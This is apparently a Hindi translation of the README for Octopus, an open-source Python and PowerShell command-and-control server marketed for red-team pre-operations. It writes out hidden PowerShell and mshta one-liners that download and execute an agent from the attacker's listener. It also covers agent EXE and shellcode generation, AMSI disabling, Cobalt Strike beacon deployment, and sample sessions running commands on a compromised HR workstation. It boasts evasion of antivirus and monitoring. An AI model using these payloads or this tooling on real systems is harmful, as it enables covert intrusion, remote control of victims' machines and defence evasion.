
ओपन सोर्स पूर्व-संचालन C2 सर्वर python और powershell पर आधारित
ऑक्टोपस एक ओपन सोर्स, प्री-ऑपरेशन C2 सर्वर है जो पायथन पर आधारित है और HTTP/S के माध्यम से एक ऑक्टोपस पावरशेल एजेंट को नियंत्रित कर सकता है।
ऑक्टोपस बनाने का मुख्य उद्देश्य किसी भी रेड टीम ऑपरेशन से पहले उपयोग करना है, जहां आप अपने पूर्ण ऑपरेशनल शस्त्रागार और बुनियादी ढांचे के साथ जुड़ाव शुरू करने के बजाय, पहले ऑक्टोपस का उपयोग करके लक्ष्य पर हमला कर सकते हैं और अपने वास्तविक रेड टीम ऑपरेशन को शुरू करने से पहले जानकारी एकत्र कर सकते हैं।
ऑक्टोपस एक बहुत ही सरल तरीके से काम करता है: कमांड निष्पादित करना और एक अच्छी तरह से एन्क्रिप्टेड चैनल पर C2 के साथ जानकारी का आदान-प्रदान करना, जो इसे लगभग हर AV, एंडपॉइंट प्रोटेक्शन और नेटवर्क मॉनिटरिंग सॉल्यूशन से अगोचर और अप्राप्य बनाता है।
ऑक्टोपस में एक अच्छी सुविधा है जिसे ESA कहा जाता है, जो "एंडपॉइंट सिचुएशनल अवेयरनेस" (Endpoint Situational Awareness) के लिए है, जो लक्ष्य के बारे में कुछ महत्वपूर्ण जानकारी एकत्र करेगा जो आपको अपने ऑपरेशन के दौरान सामना करने वाले लक्ष्य नेटवर्क एंडपॉइंट्स की बेहतर समझ हासिल करने में मदद करेगा, जिससे आपको इस जानकारी के आधार पर अपने वास्तविक ऑपरेशन को अनुकूलित करने का मौका मिलेगा।
ऑक्टोपस को C2 के साथ संचार करते समय गुप्त और छिपा हुआ रहने के लिए डिज़ाइन किया गया है, क्योंकि यह पावरशेल एजेंट और C2 सर्वर के बीच अपने एन्क्रिप्टेड चैनल के लिए डिफ़ॉल्ट रूप से AES-256 का उपयोग करता है। आप अपने डोमेन के लिए एक मान्य प्रमाणपत्र प्रदान करके और ऑक्टोपस C2 सर्वर को इसका उपयोग करने के लिए कॉन्फ़िगर करके SSL/TLS का उपयोग करने का विकल्प भी चुन सकते हैं।
ऑक्टोपस कई विशेषताओं से भरा हुआ है जो आपको अपने पूरे शस्त्रागार या उपकरणों और तकनीकों को तैनात करने से पहले ही अपने आगामी जुड़ाव में अंतर्दृष्टि प्राप्त करने की अनुमति देता है, जैसे:
आप ऑक्टोपस की सभी आवश्यकताओं को इस प्रकार स्थापित कर सकते हैं:
pip install -r requirements.txt
शेलकोडिंग सुविधा और स्पूफड आर्ग्स एजेंट का उपयोग करने के लिए आपको लिनक्स के लिए nasm और 'mingw-w64' कंपाइलर स्थापित करना होगा।
आप डेबियन आधारित डिस्ट्रो पर nasm इस प्रकार स्थापित कर सकते हैं:
apt install nasm
और आप डेबियन आधारित डिस्ट्रो पर mingw-w64 इस प्रकार स्थापित कर सकते हैं:
apt install mingw-w64
ऑक्टोपस का परीक्षण निम्नलिखित ऑपरेटिंग सिस्टम पर किया गया है:
आपको यह सुनिश्चित करने के लिए मोनो भी स्थापित करना होगा कि आप बिना किसी समस्या के C# स्रोत संकलित कर सकें।
ऑक्टोपस C# स्रोत को संकलित करने के लिए मोनो-सीएससी बाइनरी पर निर्भर करता है और आप इसे निम्नलिखित कमांड apt install mono-devel से स्थापित कर सकते हैं, जिसका परीक्षण काली और उबंटू 16.04 पर किया गया है।
आप मोनो स्थापित किए बिना ऑक्टोपस का उपयोग कर सकते हैं लेकिन आप
generate_exeकमांड का उपयोग नहीं कर पाएंगे।
कृपया यह भी ध्यान दें कि C# संकलन SHA1 हैश a43ed886b68c6ee913da85df9ad2064f1d81c470 के साथ System.Management.Automation.dll असेंबली पर निर्भर करता है।
यदि आप ऑक्टोपस का उपयोग करते समय किसी समस्या का सामना करते हैं, तो बेझिझक एक बग रिपोर्ट दर्ज करें!
सबसे पहले, निम्नलिखित कमांड का उपयोग करके ऑक्टोपस के नवीनतम संस्करण को डाउनलोड करना सुनिश्चित करें:
git clone https://github.com/mhaskar/Octopus/
फिर आपको निम्नलिखित कमांड का उपयोग करके आवश्यकताओं को स्थापित करना होगा:
pip install -r requirements.txt
उसके बाद आप निम्नलिखित चलाकर ऑक्टोपस सर्वर शुरू कर सकते हैं:
./octopus.py
एक बार चलाने पर आपका स्वागत इस प्रकार होगा:
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py
___ ___ ___ ___ ___ ___
/ /\ / /\ ___ / /\ / /\ /__/\ / /\
/ /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_
/ /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\
/ /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\
/__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\
\ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/
\ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/
\ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/
\ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/
\__\/ \__\/ \__\/ \__\/ \__\/ \__\/
v1.2 स्थिर!
Octopus C2 | अपने शेल को नियंत्रित करें
Octopus >>
ऑक्टोपस का उपयोग करना काफी सरल है, जैसे आपको बस एक लिसनर शुरू करना है और उस लिसनर की जानकारी के आधार पर अपना एजेंट उत्पन्न करना है।
आप जितने चाहें उतने लिसनर उत्पन्न कर सकते हैं, और फिर आप उनसे जुड़ने वाले अपने एजेंटों के साथ बातचीत शुरू कर सकते हैं।
इससे पहले कि आप ऑक्टोपस का उपयोग शुरू कर सकें, आपको एक URL हैंडलिंग प्रोफाइल सेट करना होगा जो C2 व्यवहार और कार्यों को नियंत्रित करेगा, क्योंकि ऑक्टोपस एक HTTP आधारित C2 है इस प्रकार यह कनेक्शन को संभालने के लिए URL पर निर्भर करता है और यह गारंटी देने के लिए कि URL उस नेटवर्क में हस्ताक्षर या IoC के रूप में काम नहीं करेंगे जिस पर आप वर्तमान में हमला कर रहे हैं, URL को आवश्यकतानुसार आसानी से अनुकूलित और नामांकित किया जा सकता है।
प्रोफाइल सेटअप वर्तमान में केवल URL हैंडलिंग, ऑटो किल मान और हेडर का समर्थन करता है।
अपना प्रोफाइल सेट करना
अपना प्रोफाइल सेट करना शुरू करने के लिए आपको profile.py फ़ाइल को संपादित करना होगा, जिसमें कई प्रमुख चर होते हैं, जो हैं:
उदाहरण:
#!/usr/bin/python3
# यह ऑक्टोपस C2 के लिए वेब लिसनर प्रोफाइल है
# आप एजेंट के साथ संचार करने के लिए विशिष्ट URL को संभालने के लिए अपने प्रोफाइल को अनुकूलित कर सकते हैं
# TODO: अनुरोध हेडर को अनुकूलित करने की क्षमता जोड़ें
# फ़ाइल डाउनलोडिंग को संभालना
# Ex: /anything
# Ex: /anything.php
file_receiver_url = "/messages"
# रिपोर्ट जनरेशन को संभालना
# Ex: /anything
# Ex: /anything.php
report_url = "/calls"
# एजेंट को कमांड भेजना (एक होस्ट पर निष्पादित किए जाने वाले कमांड को संग्रहीत करता है)
# <hostname> को उसी प्रारूप के साथ छोड़ दें
# Ex: /profile/<hostname>
# Ex: /messages/<hostname>
# Ex: /bills/<hostname>
command_send_url = "/view/<hostname>"
# निष्पादित कमांड को संभालना
# Ex: /anything
# Ex: /anything.php
command_receiver_url = "/bills"
# एजेंट से पहले कनेक्शन को संभालना
# Ex: /anything
# Ex: /anything.php
first_ping_url = "/login"
# हर प्रतिक्रिया में सर्वर हेडर के रूप में वापस आएगा
server_response_header = "nginx"
# एक सफेद पृष्ठ लौटाएगा जिसमें HTA स्क्रिप्ट शामिल है
mshta_url = "/hta"
# n प्रयासों के बाद ऑटो किल मान
auto_kill = 10
एजेंट और लिसनर इस प्रोफाइल का उपयोग एक दूसरे के साथ संवाद करने के लिए कॉन्फ़िगर किए जाएंगे। आगे हमें यह जानना होगा कि लिसनर कैसे बनाएं।
ऑक्टोपस में दो मुख्य लिसनर हैं, "http लिसनर" और "https लिसनर", और दोनों लिसनर के विकल्प ज्यादातर समान हैं।
HTTP लिसनर:
listen_http कमांड शुरू करने के लिए निम्नलिखित तर्क लेता है:
आप listen_http कमांड चलाकर इसका एक उदाहरण भी देख सकते हैं:
Octopus >>listen_http
[-] कृपया लिसनर तर्कों की जाँच करें!
सिंटैक्स : listen_http BindIP BindPort hostname interval URL listener_name
उदाहरण (डोमेन के साथ) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
उदाहरण (डोमेन के बिना) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener
##########
विकल्प जानकारी:
BindIP IP पता जो लिसनर द्वारा उपयोग किया जाएगा
BindPort वह पोर्ट जिस पर आप सुनना चाहते हैं
Hostname पेलोड का अनुरोध करने के लिए उपयोग किया जाएगा
Interval एजेंट कमांड की जांच करने से पहले कितने सेकंड प्रतीक्षा करेगा
URL पेज का नाम जो पेलोड रखेगा
Listener_name उपयोग करने के लिए लिसनर का नाम
Octopus >>
और हम निम्नलिखित कमांड का उपयोग करके एक लिसनर शुरू कर सकते हैं:
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
निम्नलिखित परिणाम वापस आएगा:
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
एक लिसनर सफलतापूर्वक शुरू हो गया है, और हम listeners कमांड का उपयोग करके सभी लिसनर देख सकते हैं:
Octopus >>listeners
Name IP Port Host Interval Path SSL
---------- ------- ------ ------------- ---------- -------- -----
operation1 0.0.0.0 8080 192.168.178.1 5 page.php False
Octopus >>
HTTPS लिसनर:
HTTPS लिसनर बनाने के लिए आप listen_https कमांड का इस प्रकार उपयोग कर सकते हैं:
Octopus >>listen_https
[-] कृपया लिसनर तर्कों की जाँच करें!
सिंटैक्स : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
उदाहरण (डोमेन के साथ) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL लिसनर शुरू हुआ!
[+]darkside_operation लिसनर बनाया गया
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
listen_https कमांड शुरू करने के लिए निम्नलिखित तर्क लेता है:
कृपया ध्यान दें कि आपको एक मान्य SSL प्रमाणपत्र प्रदान करना होगा जो उपयोग किए गए डोमेन से जुड़ा हो।
पावरशेल वन-लाइनर
लिसनर operation1 के लिए एक एजेंट उत्पन्न करने के लिए हम निम्नलिखित कमांड का उपयोग कर सकते हैं:
generate_powershell operation1
और हमें निम्नलिखित परिणाम मिलेगा:
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"
नोट - Windows 7 क्लाइंट के लिए आपको पेलोड को "Add-Type -AssemblyName System.Core;" के साथ उपसर्ग करने की आवश्यकता हो सकती है।
उदा. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
अंदर घुसने का रास्ता खोजें ;)
#====================
Octopus >>
अब हम अपने एजेंट को शुरू करने के लिए इस वन-लाइनर का उपयोग कर सकते हैं।
HTA वन-लाइनर
लिसनर operation1 के लिए HTA वन-लाइनर उत्पन्न करने के लिए हम निम्नलिखित कमांड का उपयोग कर सकते हैं:
generate_hta operation1
और हमें निम्नलिखित परिणाम मिलेंगे:
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
इसे फैलाएं और प्रतीक्षा करें ;)
#====================
Octopus >>
कृपया ध्यान दें कि आप profile.py का उपयोग करके /hta URL को संपादित कर सकते हैं।
ऑक्टोपस EXE एजेंट
लिसनर operation1 के लिए EXE एजेंट उत्पन्न करने के लिए हम निम्नलिखित कमांड का उपयोग कर सकते हैं:
generate_unmanaged_exe operation1 /opt/Octopus/file.exe
और हमें निम्नलिखित परिणाम मिलेगा:
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] फ़ाइल सफलतापूर्वक संकलित हुई!
[+] बाइनरी फ़ाइल /opt/Octopus/file.exe में सहेजी गई
Octopus >>
कृपया ध्यान दें कि C# स्रोत को संकलित करने के लिए आपको mono-csc स्थापित करना होगा।
ऑक्टोपस स्पूफड आर्गुमेंट्स एजेंट
आप एक नया EXE एजेंट उत्पन्न कर सकते हैं जो Adam Chester के शानदार शोध पर आधारित स्पूफड तर्कों के साथ एक PowerShell प्रक्रिया चलाएगा।
इस exe को उत्पन्न करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
Octopus >>generate_spoofed_args_exe
[-] कृपया एक लिसनर चुनें और अपने विकल्पों की जाँच करें!
सिंटैक्स : generate_spoofed_args_exe listener_name output_path
उदाहरण : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>
x64 शेलकोड और x86 शेलकोड उत्पन्न करें
ऑक्टोपस संस्करण 1.2 से शुरू करके x64 और x86 दोनों शेलकोड उत्पन्न कर सकता है, उत्पन्न शेलकोड PowerShell एजेंट लॉन्च करने वाले powershell.exe वन-लाइनर को शुरू करने के लिए CreateProcessA का उपयोग करता है।
x64 शेलकोड उत्पन्न करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
Octopus >>generate_x64_shellcode
[-] कृपया एक लिसनर चुनें और अपने विकल्पों की जाँच करें!
सिंटैक्स : generate_x64_shellcode listener_name
उदाहरण : generate_x64_shellcode listener1
Octopus >>
x86 शेलकोड उत्पन्न करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
Octopus >>generate_x86_shellcode
[-] कृपया एक लिसनर चुनें और अपने विकल्पों की जाँच करें!
सिंटैक्स : generate_x86_shellcode listener_name
उदाहरण : generate_x86_shellcode listener1
Octopus >>
सबसे पहले, आप list कमांड का उपयोग करके सभी जुड़े एजेंटों को सूचीबद्ध कर सकते हैं, निम्नलिखित परिणाम प्राप्त करने के लिए:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>
और फिर हम होस्ट के साथ बातचीत करने के लिए interact कमांड का उपयोग कर सकते हैं:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >>
आप help कमांड का उपयोग करके सभी उपलब्ध कमांड को सूचीबद्ध कर सकते हैं:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >> help
उपयोग के लिए उपलब्ध कमांड:
संकेत: यदि आप सिस्टम कमांड निष्पादित करना चाहते हैं तो बस इसे टाइप करें और परिणामों की प्रतीक्षा करें
+++++++++
help यह सहायता मेनू दिखाएं
exit/back वर्तमान सत्र से बाहर निकलें और मुख्य स्क्रीन पर वापस जाएं
clear स्क्रीन आउटपुट साफ़ करें
download लक्ष्य मशीन से फ़ाइल डाउनलोड करें
deploy_cobalt_beacon वर्तमान प्रक्रिया में कोबाल्ट स्ट्राइक पावरशेल बीकन तैनात करें
load लक्ष्य मशीन पर पावरशेल मॉड्यूल लोड करें
disable_amsi लक्ष्य मशीन पर AMSI अक्षम करें
report लक्ष्य से स्थिति रिपोर्ट प्राप्त करें
(HR-PC-TYRMJ) >>
सीधे सिस्टम कमांड निष्पादित करने के लिए हम सीधे कमांड टाइप कर सकते हैं और फिर हमने लिसनर बनाते समय सेट किए गए अंतराल जांच समय के आधार पर परिणामों की प्रतीक्षा कर सकते हैं।
(HR-PC-TYRMJ) >> ipconfig
[+] कमांड भेजा गया, परिणामों की प्रतीक्षा कर रहा है
(HR-PC-TYRMJ) >>
कमांड निष्पादन परिणाम है:
Windows IP Configuration
Ethernet adapter Ethernet1:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : home
Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
IPv4 Address. . . . . . . . . . . : 192.168.1.43
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Ethernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
(HR-PC-TYRMJ) >>
इस मामले में कमांड को एन्क्रिप्ट किया गया और फिर एजेंट को भेजा गया, उसके बाद क्लाइंट कमांड को डिक्रिप्ट करेगा और उसे निष्पादित करेगा, एजेंट परिणामों को एन्क्रिप्ट करेगा, और अंत में उन्हें वापस C2 को भेजेगा ताकि उन्हें डिक्रिप्ट किया जा सके और परिणाम दिखाए जा सकें।
हम ESA जानकारी प्राप्त करने के लिए report कमांड का भी उपयोग कर सकते हैं:
(HR-PC-TYRMJ) >> report
[+] कमांड भेजा गया, परिणामों की प्रतीक्षा कर रहा है
(HR-PC-TYRMJ) >>
HR-PC-QNGAV के लिए एंडपॉइंट स्थिति जागरूकता रिपोर्ट
=============
होस्टनाम : HR-PC-QNGAV
डोमेन : darkside.com
OS : Microsoft Windows 10 Pro(64-bit)
OS बिल्ड : 10.0.17134
OS आर्क : 64-bit
एंटीवायरस : Symantec
SIEM समाधान : False
आंतरिक इंटरफ़ेस/IPs:
IP : 192.168.178.144
IP : 172.12.1.20
डिवाइस भाषा : en-US
डिवाइस अपटाइम : 41.6386169797778 घंटे
डिवाइस स्थानीय समय : 21:55(09/09/2019)
(HR-PC-TYRMJ) >>
आप एक बाहरी पावरशेल मॉड्यूल को modules निर्देशिका में रखकर लोड कर सकते हैं, फिर load module.ps1 निष्पादित कर सकते हैं।
इसके अलावा आप modules कमांड को इस प्रकार निष्पादित करके मॉड्यूल निर्देशिका में सभी मॉड्यूल को सूचीबद्ध कर सकते हैं:
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] मॉड्यूल लोड हो जाना चाहिए!
(HR-PC-TYRMJ) >>
Ian Lyte ने ऑक्टोपस में कई बग रिपोर्ट करने और एक उन्नत AMSI बाईपास मॉड्यूल को धकेलने के लिए।
Khlief ने HTA मॉड्यूल जोड़ने और डाउनलोड सुविधा में एक बग को ठीक करने के लिए
Moath Maharmah ने एन्क्रिप्शन मॉड्यूल को बढ़ाने और एक स्टैंडअलोन C# ऑक्टोपस एजेंट लिखने के लिए जिसे आगामी रिलीज़ में जोड़ा जाएगा।
TeslaPulse ने ऑक्टोपस का परीक्षण करने के लिए
J005 ने उन्नत पावरशेल वन-लाइनर जोड़ने और HID हमले स्क्रिप्ट में एक समस्या को ठीक करने के लिए।
यह प्रोजेक्ट GPL-3.0 लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें